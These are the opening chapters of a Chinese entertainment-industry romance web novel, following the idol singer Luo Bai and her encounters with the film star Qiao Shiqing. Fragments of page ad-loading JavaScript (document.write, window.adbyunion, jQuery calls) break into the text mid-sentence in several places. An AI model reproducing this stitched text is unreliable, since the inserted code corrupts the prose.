《躁郁症[娱乐圈]》 1. 别来无恙 整个会场鸦雀无声,几束灯光聚焦在某几位女演员的脸上。 “我宣布,本届金叶奖的最佳女主角是——” 台上的颁奖嘉宾掀开手卡,故作玄虚地凑近话筒:“……章佳萱。” 话音刚落,全场爆发出一阵掌声,助兴的背景乐大响,所有人的注意力都落在章佳萱的身上。她适时地露出错愕的、受宠若惊的表情。 最佳女主角提着高定礼服裙摆起身,挡住了台上照过来的灯光。 从侧边入口悄悄走进来的洛白面前一暗差点踩空,还好及时稳住了身形。 她摸了下耳返,按照吩咐走向第三排的座位。 最佳女主角的颁奖过后便是她和简言之的双人对唱节目。她坐在嘉宾席里,而简言之则站在后台,两人将于第一段副歌结束前在台上会合。 洛白抚平裙子,仰头看向颁奖台上的章佳萱,侧边的直播大屏上飞快地扫过雪花般的弹幕,有质疑声也有支持声,还有一些无关紧要的评论。现场气氛融洽,洛白则有些焦灼。 ——她还是第一次在金叶奖这样的重大舞台上表演。 含金量和重要性无需多说。要不是简言之非要拉着她一起来表演,她都没资格出席这种大型典礼。 长吁一口气。她开始回忆歌词。 在这种颁奖礼演唱,最怕的就是忘词,那可真的要成为全国笑话了。 在洛白凝神回想编排细节的时候,身侧突然落下一道阴影。 有个声音在她脑袋上方响起。 “麻烦让一下。” 些许清冽。让人想起冰块加到满杯的伏特加。 周遭不算安静,这道声音便像冰锥一样扎向她的心脏。窒了一瞬间,洛白立刻站起来,差点没有拿住话筒。 “不好意思。”她说。 对方不回应,颀长的身影挨向她,深墨色西装挡住她身前的光。洛白没有抬头看,垂着眼睛,没有再发出声音。不过两秒,那人移步到她旁边的座位上落座了。 洛白愣了下。还是不由自主地往那人身上扫了一眼。 她的意识在视线触及他侧颜时涣散了一些。 鼻间仿佛能闻到一股淡淡的白兰地香气。那股香气萦绕在洛白周身,勾出一个凌晨的光景。 她依稀记得她在晨光熹微的时刻握着他的手腕。很用力,指腹下是他被留下红痕的肌肤,眼前则是他有些意味不明的面庞。 “——好!谢谢佳萱!” 主持人洪亮的声音击穿她回忆的泡沫。 洛白即刻坐回去,握紧话筒,把心思放回表演上。 此时此刻,对她来说演出才是最重要的事。摄像也在这时走到她身侧的过道上,把镜头对准她。一会儿表演开始后,镜头会切到这个机位上。 “你要演出?” 是身边的人在问。 洛白没有转头,只是嗯了一声。 “……” “……” 沉默里,洛白迅速地瞟了一眼身边的人。他正心无旁骛地看着屏幕。 脸庞隐在暗光里,半明半暗,让人看不出情绪。 她一时苦恼起来。 彩排时简言之还叮嘱她记得和旁边的嘉宾互动。本以为坐在她旁边的应该是同公司的前辈,哪知道会是乔时青。 这还怎么互动……? “接下来让我们一起欣赏由简言之、洛白带来的合作歌曲《彼岸》!” 大屏镜头随着主持人的报幕切到后台的简言之身上。 明快的钢琴乐一响,他便适时开唱,一边带着镜头从后台朝外走,那游刃有余的模样激起弹幕一片呼号。这首歌是待播网剧《遁入彼岸》的先行曲,由他写词作曲。在这样重大的舞台上表演自作曲,简言之的意气风发无须多言。 *好帅啊啊啊 *简言之超绝松弛度!!! *在这一刻彻底Get到了养成系的爽 *btw,这首歌是简言的自作曲 *帅我一脸 洛白左手拿麦,右手食指无意识地虚空点着来踩拍。 轮到她的part,镜头跟着她的歌声切到她身上。 *?!!旁边是乔时青吗?!!! *洛洛美死我了 *没想到我乔今晚第一个镜头居然在这 *哦豁乔时青 *ID多宣传下我洛的美貌行吗 *好惊艳的歌声!!路人第一次听洛白唱歌!! *洛白还是没有简言之松弛啊 *全开麦吗?好稳啊 *这个音色!不愧是Cosine主唱! 简言之走入舞台时,洛白也微笑着朝舞台的方向走去,一路都不太敢和周围的演员互动。毕竟大都是前辈,而她又不像简言之那样自来熟。 原定的编排是她在后台,他在嘉宾席。简言之可以和周围的嘉宾互动,带动会场的气氛。但他无论如何也要和她换,说什么她走上台比他蹦上台给人的观感好多了,还要借这次机会给她涨涨舞台经验什么的。 简言之大步朝她走来,握住她的手将她拉到舞台中央,他的低唱在他松手的那一刻与她的歌声交汇。编曲在进入第一段副歌后由轻快趋向宏大。 “彼岸的晨光包围住我 失语的山脉崩塌沉没” *洛白太适合这首歌了 * (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不愧是我大ID的黄金CP! *好配!!!! *都给我把般配打在公屏上! *简言之:本人的自作曲只想和洛白唱 … 一曲落幕,回到后台,洛白已经冷汗涟涟。 “你怎么这么凉?”简言之握了下她冰凉的臂膀。 洛白摘下耳返递给工作人员:“有些紧张。” 简言之笑了:“我看也是。你怎么和周围人完全没互动啊。” 洛白声音不大:“换人了。” “啊对。上半场漾哥还坐那的,没想到他中途开溜了——乔哥估计就是他叫来替班的吧?”简言之说,“没事没事,反正都结束了就别想了。啊对了,一会儿我们去吃夜宵吧,和许诺他们。” “……我们?” “对啊。这个典礼一开就是几小时,现在总算干完活了,不得去放松下?” 洛白摇头:“你去吧,我回去看剧本。” 简言之一边脱掉演出服外套,一边拖长音:“不是吧?你不是刚杀青吗?又开始了?不差这一个晚上,去吧!” 他看洛白又摇头,索性上手握住她的肩把她往外推:“去吧去吧!都是熟人!” 洛白拗不过他只能答应:“好了,那我们总要换身衣服吧。” - 两人梳洗之后赶到聚餐地点已经快十点了。 这个局开了两三个包厢,这个小包里大多都是同属ID的熟面孔。 简言之一拉开门,满屋的酒气就飘出来。 “哎哟哎哟?金玉良缘来了?” 洛白都无需抬眼往里看,就知道肯定又是许诺在调侃她们。 许诺和简言之同属组合SINE,前者是门面,后者是rap担。许诺是他们组合里最爱玩的人,几乎不会错过任何一场局。简言之虽说也总是嬉皮笑脸的,但和许诺比起来,还是靠谱多了。许诺总是喜欢揶揄洛白和简言之。 反正她是全当没听见。 “可别造谣啊。”简言之扫了眼洛白。 许诺嘿笑一声,拉开自己身旁的椅子:“洛洛,你就坐这吧。” 洛白从善如流地坐下,期间总觉得有一股目光始终落在自己身上。 很灼热。 她不由抬眼向对面看,还没看清就垂下眸。 许诺也察觉到那人的视线,便说:“生面孔你不认识吧?这洛白,我们ID的冰山美人。” 洛白早习惯了许诺的玩笑,不置一词。 许诺又对她说:“对面这位就是乔时青。上嘉一哥。你总知道吧?” 她刚要回答,乔时青先她一步开口:“我们认识的。” 2. 不叙旧 在场的人来了兴趣。 “哦?你俩哪来的交集?”简言之先按捺不住问。 洛白不知道他会说出什么话来。 在他的几秒沉默里,她的脑海闪过几帧画面,纷乱的,搅得她莫名有些头疼。 乔时青仍是看着她:“你说呢?” 洛白只说:“刚才表演,恰好坐在一起。” 乔时青显然不满意她的回答,但他没有追问更多,只是一手裹住玻璃杯,食指来回摩挲着杯壁。 “是巧啊,要不是漾哥提前溜了,你俩也坐不到一块。”简言之说,“要早知道乔哥你也来,刚才我们就一起过来多好啊。” 乔时青说:“不好。” 整个包厢猛地安静。 只听乔时青又说:“洛白大概不同意。” 许诺立刻就笑了:“我看也是。洛洛这么认生,要和你一块来,她就不肯来了。” 罪名抛到自己身上,洛白当然要撇清:“我不会有意见的。” “既然这样,”乔时青松开杯子,“一会儿一块走。” 洛白:“……?” “你们俩……”简言之问,“能顺路吗?” 乔时青说:“刚好很顺。” 明明他都不知道她要去哪里,怎么就好意思这么说了。 简言之说:“那太好了,加我一个。” 乔时青:“……” 一直在旁边闷不吭声吃夜宵的合格支起脑袋:“也加我一个。” 乔时青:“……” SINE组合的队长徐安临微笑道:“那不加我一个也是不行的了。” 许诺归纳说:“那别合计了,都一块回去呗。” 洛白说:“一车坐不下。你们一块,我等助理来接吧。” 乔时青知道她什么意图,睨她一眼,却没有反驳她。 - 尽管在所有人看来,乔时青和洛白没有什么交集。 但洛白知道,今晚乔时青恐怕是为她而来的。 不过只要她离他远一点。 再过一阵子,他忘了之前那件事,也就不会再想起她。 只要不是有人刻意为之,他和她不会再有什么交集。 虽说娱乐圈的项目活动数不胜数,哪天遇上也不是没有可能。 但乔时青的咖位和她差距太大。一个顶流影星,一个不温不火的小花,这两人能参与同一个项目的可能性小到可以被她忽略。 “我大概有十五分钟就到了哈。”助理四吉在电话那头说,“你再等我会儿。” 洛白应了一声挂断电话。 “怎么提前开溜了。” 洛白身形一抖,下意识地转身。乔时青闲闲地站在离她两米远的位置。暗光流转,勾勒出他的轮廓,她仍然在看清他面庞之前就移开了眼。 “嗯。还要回去看剧本。”洛白说。 “原来是看剧本啊。”乔时青笑了下,“我差点以为你是不想看见我。” “……不是。” “不是的话,那怎么一直没有联系我。”他看着洛白侧过脸,目光落在包厢的门牌上,不知道又在想什么破绽百出的借口。 好一会儿洛白都没有说话。 原来她连借口也懒得想了。 乔时青扯开一边嘴角:“你不打算编一个理由来糊弄我?” 洛白沉默两秒:“我没有存你的号码。” “现在存怎么样。”他说。 乔时青的目光覆在她身上,像晨雾一样薄薄的,没有什么攻击性,却把她弄得有些不知所措。 洛白几乎是在能说话的第一时间就表达了拒绝:“不用了。以后应该也没有什么交集。” 乔时青就笑:“这可不能由你决定。” 包厢的门打开,合格探着脑袋走出来:“你们在这说什么?” 洛白没有先开口的习惯,所以话头被乔时青轻而易举拈了去:“在叙旧。” 合格惊讶道:“叙旧?你们以前就认识吗?” 灯光照拂洛白的侧脸。她清冷疏离的模样让乔时青倍感陌生。又或许对他来说,她从来都是陌生的。 乔时青说:“只是单方面认识。” 这是什么意思,合格不明白。 在他反应过来之前,洛白已经离开。 她的事情不少。没时间留给饭局。 上一部戏刚杀青,下一部戏马上就要开机。不仅如此,ID每年一度的公司演唱会下个月就要召开,她拍戏间隙还要抽出时间回公司彩排。 “明天上午十点要开会,谈演唱会的事。”助理四吉说,“那我今晚就把你送回宿舍去行吗?” 刚出道的时候,洛白和COSINE其他成员都被安排住在宿舍里。出道时间一长,大家的个人通告多了,也就陆续有成员搬了出去。到现在,宿舍常驻人员剩下队长程佳念和林晓两个人,其他人只在有团体行程时才会回去住。 既然明天要开会又要排练,今晚理应要回宿舍的。 洛白不着痕迹地叹了口气:“好。麻烦你。” “哎,刚才送你过来的是乔时青吧?”四吉好奇道。 洛白指尖一抽,没有回答。四吉又说:“难得看到上嘉的艺人跟咱们一块儿玩。” 上嘉是内娱头部影视公司,旗下都是演员,和主要培育偶像的ID不属一条路线,两家艺人交集不多,也就乔时青和她们ID的一哥肖漾总是被网友拉郎,生凑了一对“大陆双子星”出来。 又说到乔时青…… 洛白其实仍记得和他第一次见面的傍晚。 那时水晶吊灯折射璀璨粼光,勃兰登堡协奏曲在宴会大厅流转。 一众觥筹交错 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里,她听见一道声音。 她忘了那个声音在说什么,只是那种清冽的嗓音叫她无端想起某个早已断联的人。 她心下发窒,不受控制地向那道声音的来源望去。 那人穿灰色的高定西服,内搭一件白衬衫,松着两颗扣子,站在一架名贵的三角钢琴边,一派简约矜贵的格调。他很出挑,无论身处何处都是视觉中心,轻而易举就让她锁定了目光。 原来不是她以为的那个人。 而是乔时青。 她早就认识他——当然,只是单方面认识。 她刚出道时,曾经在一次晚会和他打过照面。彼时乔时青在娱乐圈早已声名鹊起,他锋芒毕露,风光无限。不论是圈内还是圈外,他都是名副其实的天之骄子。 “你也想认识他?”一旁的宋宜宁注意到她的目光,见怪不怪地说,“也对啊,要是能搭上乔时青,参演《封玄境》肯定不成问题。” 《封玄境》是上嘉正在筹拍的新戏,不少人都瞄着女主的位置在明争暗抢不说,眼红二番三番角色的也大有人在。她们刚才就是在讨论这件事。 “毕竟也是上嘉的股东——听说最近不少人在巴结他,都碰了一鼻子灰。”金灵目光一转,看洛白还出神般看着乔时青所在的方向,勾着红唇就笑起来,“你不也在面试《封玄境》吗?要不要我介绍你们认识下?” “你怎么会认识他?”宋宜宁意外道。 “他是许诺的朋友。”金灵说,“前不久一起吃过饭。” 宋宜宁便说:“那你不如把我介绍给他?” 两人一个来回还没说完,洛白已经越过她们,径直走向乔时青。 宋宜宁看着她的背影不由地说:“不得了。比我还主动。” 一股难以言喻的躁动像浓云般在洛白心底涌动,驱使着她走向他,听他的声音。 她在乔时青跟前站定时,他显然有些许错愕,原来的话题也戛然而止。 洛白的双眸近乎冒犯地紧锁着他,用自己都陌生的语调说:“嗨。你好。” 被她问候到的乔时青本人迟疑了下:“……我?” 她这才有些反应过来——自己正站在一个陌生人面前,并且似乎在试图搭讪他。 并且,这个陌生人已经把注意力放到了她的身上,一脸淡漠地俯视她。还好那一双桃花眼,让他的气质柔和了一些,才不至于叫人不敢接近。 洛白几乎从不主动和人搭话,但在那一刻她鞠下躬向他问好:“是。前辈好。我叫洛白。” 他眸底稍有波澜,回她的话还是言简意赅:“乔时青。” 时至今日,洛白仍清晰地记得那一刹那回荡在自己心海里的念头—— 不够。他说的话太少。 她要听他说更多。 ……是了。 原来是她先招惹他的。 3. ID开会 洛白微微摇头,尽力排去多余的思绪和情绪。 电梯门应声打开,她走到宿舍门前,低头输入密码开门。 客厅顶灯开着,很亮堂,比想象中安静。 大家分散地坐在不同的地方,程佳念抱着双臂冷脸坐在沙发中央,金灵坐在单人椅上事不关己地看杂志,顾若敏和林晓则坐在沙发另一头看平板。 “洛洛回来了?”金灵看了她一眼,“怎么这么晚?” 洛白脱下外套抱在怀里:“在外面吃了顿饭。” “所以。”程佳念开口对顾若敏说,“接下来一周的团队行程你都要缺席?” 顾若敏耸了耸肩:“我也没办法。节目组那边安排是这样。” “你就不能提前和我们说一声?”程佳念说,“而且你擅自参加这种恋综,有经过公司同意吗?” 洛白并不好奇她们之间发生了什么,她只想回房间待着。不过现在自顾自回房间似乎不太好,于是她默不作声地找了个地方坐下来。 “那又有什么关系?”顾若敏底气不太足,还是说,“肖漾去年不也先斩后奏了吗?怎么我就不行?你光盯着我,让我报备干嘛?怎么不见你天天问金灵洛白有什么行程?” 金灵笑了一声:“你和别人比做什么。大家咖位又不一样。” 顾若敏的脸色一下子不好了:“你什么意思?红就了不起?” 金灵合上杂志,笑意不减:“红,当然了不起。有本事你也红个看看咯。” “行了!”程佳念在顾若敏要发作前打断她们,沉着声音说,“明天事情不少,都早点睡吧。这件事我去和李哥说一下就是了。” “好啦好啦。队长你也别太生气。”林晓探出身体拍拍她的肩膀,“好多人想上这综艺还去不了呢,我们应该为若敏高兴才对嘛——洛洛,去帮我倒杯水。” 程佳念编辑着发给经纪人的微信,听见林晓的话不忿地瞪了若无其事的顾若敏一眼:“永远都是这样,只考虑自己,从来不考虑团队。” 顾若敏直翻白眼:“我?你说的是金灵吧?你问问她谈恋爱的时候考虑过团队没有?从出道到现在,她管过恋爱禁令?” “我没兴趣做你的挡箭牌。”金灵说,“少扯我。” “本来就是。”顾若敏冷哼一声,突然想到说什么话才能给自己扳回一成,“人气高有什么用,还不是被许诺甩——” “嘭!”的一声。 金灵手里那本杂志脱手而出砸在了顾若敏身边的墙上,把其他人都吓了一跳。再看金灵时,她的表情已经十分阴沉:“顾若敏,你一定要犯这个贱是吧?” 顾若敏的气焰顿时消了大半,她又哼了一声,但没有再说话。 “别吵了!”程佳念拔高声音说,“本来就够烦了,还要听你们在这吵。都给我回房间睡觉去!” 金灵冷冷地看了顾若敏一眼,转身头也不回地走了。她这一走,林晓马上就拉着心有余悸的顾若敏回房间了。 洛白刚倒好水从厨房走出来,客厅就只剩下了程佳念一个人。 队长听到脚步抬头,恰好对上了洛白的视线。 “……” 她看出她有些心累。而她不会安慰人。 但她觉得自己应该说些什么。 洛白弯腰把水杯轻轻放在程佳念面前:“……喝点水吧。” 程佳念没有推辞,端起水杯喝了几口才放下。 “……” “……” 看程佳念又把目光放到自己身上,洛白又挤出一句:“发生什么事了?” “若敏自己去报名了《假如爱情》,马上就要开始录了才和我说,让我去和公司报备。”程佳念摁下发送键,总算把删删改改的消息发给经纪人。 《假如爱情》是寻目今年的项目,属于假想恋爱综艺。去年她们办了一档现象级大热恋综,今年肯定是要趁热打铁推出新节目的。之前节目组也有发邀请函给ID,像许诺、简言之、金灵他们这些会做综艺的艺人基本都有收到。但公司方面不希望自家偶像参加恋综,所以一口回绝了。顾若敏应该是主动去联系节目组的。 洛白说了五个字:“原来是这样。” 程佳念:“……” 程佳念等了一会儿等不到洛白的后文。不着痕迹地叹了口气。在她看来,尽管洛白是队内年纪最小的成员,但也是最孤僻的一个。 每每队内发生什么冲突,她既不像林晓到处站队,也不像金灵顾若敏总是拱火,只会事不关己般旁观着她们。永远淡淡的,心性很凉薄的样子。人气高低、镜头多少、C位占比、歌词分配,所有她们在意的,她都不争取。 二十出头的年纪,别说野心,连一点生气也没有。 ——也可能是她根本不在乎这些?那她在乎什么? 不清楚。程佳念压根不了解洛白。 “你……”程佳念想了想话题,“我看了金叶奖的直播,你今晚发挥得很好。” 洛白说:“他们的音响比较好。” “还挺羡慕你的呢。毕竟不是谁都能去金叶奖表演的。” 程佳念也是队内主唱,唱功不俗,只是少了表现的机会。她一直想要摆脱偶像的身份,成为一个真正的歌手。然而时至今日,她还没有出过个人专辑,“歌手程佳念”的野心始终被压在“队长程佳念”之下。 据洛白所知,公司这个季度一直在简言之和程佳念之间考察出个人专辑的人选。今晚金叶奖的反响很好,简言之的胜算会比程佳念更大吧。 洛白本想说“你以后也有机会去的”。话还没说出口,又担心说这种话会让程佳念以为自己在嘲讽她或是炫耀之类的。权衡几秒,洛白还是改了口风说:“我只是沾了简言之的光。” 程佳念笑笑:“要不是觉得你会唱,他怎么会请你一起上台呢?好了,都早点睡吧,明天还有工作呢。” 洛白还想说些什么,而程佳念只是拍拍她的肩膀,在她措好辞之前就起身回屋了。 客厅突然变得空荡荡,悄然无声的。 洛白独自在沙发上坐了一会儿,睡意最终还是没有来。 - 次日早。 ID,会议大厅。 COSINE在十点准时抵达会议室,进屋时厅里稀稀拉拉坐了不少人。她们还没落座,其他艺人的问候就接踵而至。特别去年刚出道的公司女团FOCUS更是活力无限,见了哪个前辈走进来都要元气满满地打招呼——“嗨,金灵姐姐~”“佳念姐,坐这里嘛?”“早上好呀~” “若敏呢?”经纪人李智元问,“就你们四个?” 程佳念:“她去录《假如爱情》的前采了。” 提到这个,李智元的火气噌得就窜上来:“这个顾若敏怎么回事?!私自去录这种恋综!把自己当谁了?” “她心里应该有数的。”程佳念说,“毕竟也出道这么久了。” “你还为她说话呢?我都还没说你,”李智元气不打一处来,“一个队长,怎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么现在连自己的队员都管不住了?” 程佳念无话可说。她好歹也是TOP女团的队长,当着后辈的面被数落,总还是觉得丢人的。李智元这么一说话,整个会议室都安静下来,大家不动声色地把目光都投向了这里。 金灵不紧不慢地说:“核心成员在这不就行了。少那一个无所谓。” 李智元瞪她一眼:“真好意思说。你看整个会议室,就你们团来不齐。” 金灵不以为然:“我们团好歹来了。SINE那整个团都没来。” SINE就是踩着她这句话走进门的。 除了队长徐安临,其他三人的姿态全都懒散得很。一个两个显然是熬了大夜,打着哈欠头发蓬乱。 “早上——哈——好。” “李哥又发火呢。” “我的手机怎么找不到了呢。” “好了你们几个。”SINE的经纪人林逝跟在他们身后,糟心得很,“快点找位置坐下来。” “你们昨天又到哪里撒野去了?”李智元冲他们道,“迟到了不知道?这么多人就等你们四个?” 徐安临说:“都怪许诺起不来。” 许诺一听不乐意:“我起得不晚OK?要不是简言之开车开那么烂——” “我靠,关我什么事?”简言之更不乐意,“还不是合格出门磨磨蹭蹭的?” 合格愣了下:“啊……诺哥说不用着急的。” 许诺一巴掌呼他后脑勺:“靠,我是在高架上说的这话好吗?我要不这么说,简言之路怒症发起来追尾怎么办?” “说到底你还是不相信我的车技,下回别坐我的车。” “我——” “够了够了够了!”李智元打断他们的内讧,“在会议室还吵吵嚷嚷的,真是一盘散沙!” 简言之:“李哥你今天火气好大啊。” 合格:“有句话叫枪打出头鸟……” 许诺:“啧,又是被当出气包的一天。” 李智元:“……” 他憋着口气看向徐安临:“你这个队长也不管管他们?” 徐安临看了他们一眼,慢条斯理地说:“儿大不由爹。” “噗。” 不少人都笑出了声。 简言之在洛白旁边大咧咧坐下来,坐在后者右边的程佳念忍不住对他说:“你们队长这心态真是ID数一数二的强。” 简言之竖起一个大拇指:“好心态决定好男人的一生。” 洛白每每看见他这种滑稽的表现总是忍不住嘴角上扬。 简言之低头瞥她一眼,有点得意:“你也被我的风趣幽默到了吧?” 洛白轻声说:“少来了。” 一阵喧闹之后,会议总算开始。 刘总没有来,由李智元代为主持。本次会议的主题是十月家族演唱会举办的具体事项,歌单已经公布,详细的造型方案、彩排安排以及舞台改编内容也被陆续发到各个艺人的手里。 洛白打开发过来的PDF,下拉到COSINE的部分。 “哎,”简言之拿手机拍拍她的手臂,“你和乔哥怎么认识的?” 洛白:“……不认识。” “扯呢。”简言之说,“昨晚他还向我问起你。” 洛白不自觉地压低声音:“他问你什么了?” “我想想——” “你们小两口说什么悄悄话呢。”坐在两人身前的许诺转过来,“让我也听听呗?” 4. 剧本围读 许诺刚才单听到一个“昨晚”,他嬉皮笑脸道:“还好你昨晚逃得早,我才有机会听简言之讲你这么多小八卦。” 一收到洛白的质询目光,简言之赶紧束起三个手指作发誓状:“我什么也没说好吧。” “什么也没说?”洛白问。 简言之咳嗽两下,含糊道:“基本算是没说……” “还没说呢,”许诺火上浇油,“把人上学那点事都要抖完了。” 洛白心一紧,有些不忿地看他:“简言之,你——” “我靠你别听许诺在这散布谣言啊。他唯恐天下不乱的你不知道?”简言之压低声音跟她着急。 许诺还是笑,慢悠悠地说:“也不知道是谁昨晚在那大言不惭,说什么洛白是被你带进ID的。” 眼看着许诺就要进一步出卖自己,简言之立刻向全场唯一能够制伏许诺的人发起求助:“灵姐,你快管管他,别让他再口出狂言。” 此前金灵双眼盯着手机并不看他们,但注意力早在许诺开口的时候被吸引过来。听到简言之喊自己,才抬头似笑非笑地看了许诺一眼:“我可懒得管他的事——不过洛洛,许诺这种人渣的话还是少听点。” “得嘞,人渣不说话了行吧。”许诺被她一眼就看得头皮发麻,忙不迭转回身退出了这场群聊,过几秒又忍不住对旁边的合格小声吐槽,“看见没,公司的恋爱禁令都是有道理的。” 合格才不肯安慰他,更小声嘟囔:“谈的时候怎么不见你发牢骚。” 许诺:“……” “对了,你们的歌最后怎么改了?”简言之问洛白。 洛白不说话。 他伸脑袋来看她的手机:“我看看?” 洛白锁屏。 “……”简言之只好把手捂在嘴边低声解释说,“我真没说什么嘛。就昨晚你走了,乔哥问我和你怎么认识的。我就说我俩中学同学,认识好几年了——这不是什么机密吧?” 洛白摁住侧边键,手机屏幕一亮,她又摁一下,屏幕又黑了:“他问这个做什么。” “好奇呗。”简言之薅了把自己乱糟糟的头发,“完了我也问他,那他怎么认识你的?” “然后呢?”洛白很快接着问。 “咳咳咳。”话筒里的战术清嗓吸引了全场的注意。 大家抬头一看,一个神情倨傲的男人已经站在了台上。他穿一件高定棕色长风衣,皮鞋锃亮,身量瘦削。这就是ID的首席造型师,林生一。他弯腰对着话筒说:“好久不见,我亲爱的艺人朋友们。时间过得真快,一年一度的ID演唱会又来了。大家的时间都很宝贵,我在此就长话短说了哦。” “然后呢?”洛白又问了简言之一遍。 “啊?哦哦哦。”简言之的注意力从林生一那里撤回来,“他就让我来问你呗。不然我刚才怎么会这么问?所以你怎么认识他的啊?” “详细的造型方案我已经让助理发到了你们的手上。当然,只是给你们看一看,并没有要和你们商量的意思。”林生一继续说着,视线一一扫过台下的艺人,“个别某人不要在私下里又来找我讨价还价,说要改这个改那个的。” 简言之看洛白不吱声了,又说:“你看你。你问我,我就什么都说。我问你,你就嘴巴闭得那个紧。是不是有点不仗义?” 洛白只好说:“去年,在一个餐会上认识的。” “哦。该不会是在朝夏主办的那个周年晚宴上?” 金灵轻飘飘传来一句话,冷不防吓到洛白。 “你……听得到我们说话吗?”洛白问。 金灵:“当然了。” “你们在说乔时青?”林晓猛然抬头,挤过来问,“洛洛,你和他有交情啊?” 金灵稍稍勾唇,投向洛白的浅笑里有深长的意味。 她当然也记得那个晚上——她们这位寡言冷情的忙内,居然那么主动地去接近一个男人,这很难不让她印象深刻。在她看来,后来洛白如愿以偿地得到了《封玄境》里的重要角色或许和那个晚上脱不了干系。她以前还以为她有多清高呢。 洛白沉默了下说:“是那天。” “那你们熟吗?联系多吗?”林晓问。 洛白摇头:“不熟。那天以后没有联系。” 金灵恍然似的说:“可惜。看来是乔时青前段时间一直在国外,不方便联系。不过现在他回国了,你可以——” “金灵。”程佳念打断她,“别宣传你的歪风邪气。” 金灵煞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有介事地端详起自己的美甲:“随便吧。反正一会儿我要和小姚总去吃饭了。” “小姚总?你该不会是说朝夏娱乐的那个小姚总吧?”林晓惊讶道。 “不然还有谁。” 一散会,金灵率先踩着细高跟利索地离开了。 简言之搂住许诺的肩膀嘲笑他:“啊呀,看来某人的前女友要谈恋爱了。” 许诺耸肩:“这个世界最不缺新欢。” 见洛白投向自己目光非常冒犯地带了点同情,许诺朝她扬起饱满的笑容:“小洛白,为什么要用这么深情款款的眼神看我?难道说你暗恋我?” 洛白挎上自己的包:“我只是看一下你的热闹。” “漂亮的嘴巴总是吐出一些让哥哥扫兴的话呢。” “许诺你真油腻。”程佳念说。 许诺摇晃自己的食指:“NONONO,只要小洛白不觉得我油就好了。” 洛白:“我一直觉得你油。” 许诺:“你这样说话哥哥会伤心的。” 洛白:“……” - 散会以后洛白在公司看了会儿剧本。 直到下午两点左右,乘车出发去《第三夜》的剧本围读会。 这是她自《封玄境》杀青后接的电影,虽说只是一部小成本,但也是她第一部主演的电影,临近开机她的心情总归有些忐忑。 剧本围读会安排在出品方办公楼五层。她推开会议室的门时,不少人都到了。 几个负责拍摄物料的工作人员从她身前匆匆路过,会议室里嘈声不断,穿深色T恤的导演站在正中说笑,格外夺人眼球。 有些人看过来,她便弯了弯腰,算是问好。 “洛洛啊,过来这里坐。”罗导说。 洛白抬起头见导演给她指了身边的空位,桌上摆着她的姓名牌,道过谢便径直走过去坐下。 这时对面有人对她说话。 “你好啊,女主角。” 是听过就忘不掉的清冽嗓音,像冰块满杯的伏特加。 ……乔时青。 他坐在对面眸带笑意,眼角往下,眼尾则稍稍上翘。他向她微微歪了歪脑袋。 四目相对,不过一秒她就移开了眼。 5. 剧本围读2 早上九点半。 在打了十几通电话,发了几十条微信以后,上嘉第一金牌经纪人沈碧华终于联系到了乔时青——上嘉这位少爷还躺在公寓里死尸一般准备睡到过气呢。 沈碧华告诫自己一定要注意表情管理,否则她的法令纹只会越来越深,但是坐在车里等着乔时青下来的这段时间,她的心情越发阴沉了。 ID公司那个不正经的男团恰好要准备去公司开会,一看见她的车就拖三带四地走过来打招呼。 “华姐好啊。” “华姐早上好啊。” “华姐今天气色不错哎。” “亲自来接啊?” 沈碧华皮笑肉不笑地看着这几个人:“你们昨天是不是又和乔时青通宵喝酒打游戏了?” 乔时青刚换的新公寓,好巧不巧就在SINE的楼上。自打有一次在电梯间遇到,这几个人就开始隔三岔五地拉着她的艺人不务正业。 许诺和简言之不约而同揽上对方的肩,异口同声道:“怎么会——” “才到三点而已嘛。”简言之补充。 “臭小子——”在沈碧华拎起包打他的时候,几个人闹哄哄地冲进了一边的车里。 又过半晌,乔时青这才打开车门坐进来。 他的无名指和中指按在太阳穴上揉了揉,宿醉醒来的嗓子有些发哑:“早上好。” “乔时青,你非要干这么荒谬的事吗?”沈碧华愤懑地透过后视镜看他。 这段时间,陆续有不少导演、投资方找上来,想和乔时青接洽拍戏事宜。空窗一年多的第一部戏,沈碧华精挑细选了两个剧本发给他让他最终抉择。一个是他信手拈来的警匪片,一个是题材片,口碑票房都有保证。 哪知他前两天却发来消息。 说自己已经接下了一部叫什么《第三夜》的电影。 沈碧华把放在副驾的文件扔给他,语里仍有没把持住的几分激动:“你看这部戏,团队一般阵容一般投资也小。文艺片出身的导演!毫无亮点的阵容!这种片子有什么好拍的?” 其实这部戏的导演很早就找过她,还找过好几次,但是都被沈碧华毫不犹豫地拒绝了——让乔时青去演个过家家似的奇幻片,这不是自降咖位么? 她的艺人向来都是在高成本大制作中挑大梁的存在,阔别一年的回归之作,怎么能选那种片子。 哪里想到天有不测风云,她的艺人居然主动去和对方接洽,甚至还在导演委婉和他表达预算不足难以支付足够片酬时直接同意大幅降薪。 沈碧华想破头,也想不到会有这种发展。 “好拍。”乔时青翻开文件慢条斯理地浏览,“这个剧本其实挺有意思的。” 沈碧华:“……” 这祖宗的星途实在太顺了,第一部电影就是名导的,出道即大爆。后来一切都顺风顺水,顺理成章,即便他一直都随心所欲,甚至在如日中天时提出了“休长假去读书”这样的荒唐要求,热度也丝毫不减。 他接戏挑剔空窗期长、不拍电视剧不上综艺还从不直播,却还是一直占据着同年龄段电影圈TOP的位置,连公司也对他纵容得很——谁让他自己持股,话语权太大。 “我看你就是欠挫折!你就等着翻车好了。”沈碧华没好气地抽回那个文件。 她就是觉得乔时青过太顺了,导致他现在非常骄傲自大、目空一切,要是他遭遇全网恶评什么的,肯定就知道怎么收敛自己那任意妄为的脾气—— “呸呸呸!”沈碧华反应过来自己在咒自己的艺人,连忙反悔——乔时青可是她职业生涯上的里程碑、奠基石、摇钱树呢! “没关系。”乔时青说,“我有分寸的。” “反正我好坏话都说尽了,也管不了你。” 沈碧华叹气,随手翻开文件。 文件附带的演员表上,女主角一栏印着两个字,“洛白”。 洛白…… 是《封玄境》那个女三还是女四来着? 沈碧华摇摇头。这个戏连对手演员都不过是个偶像出身的三线艺人。 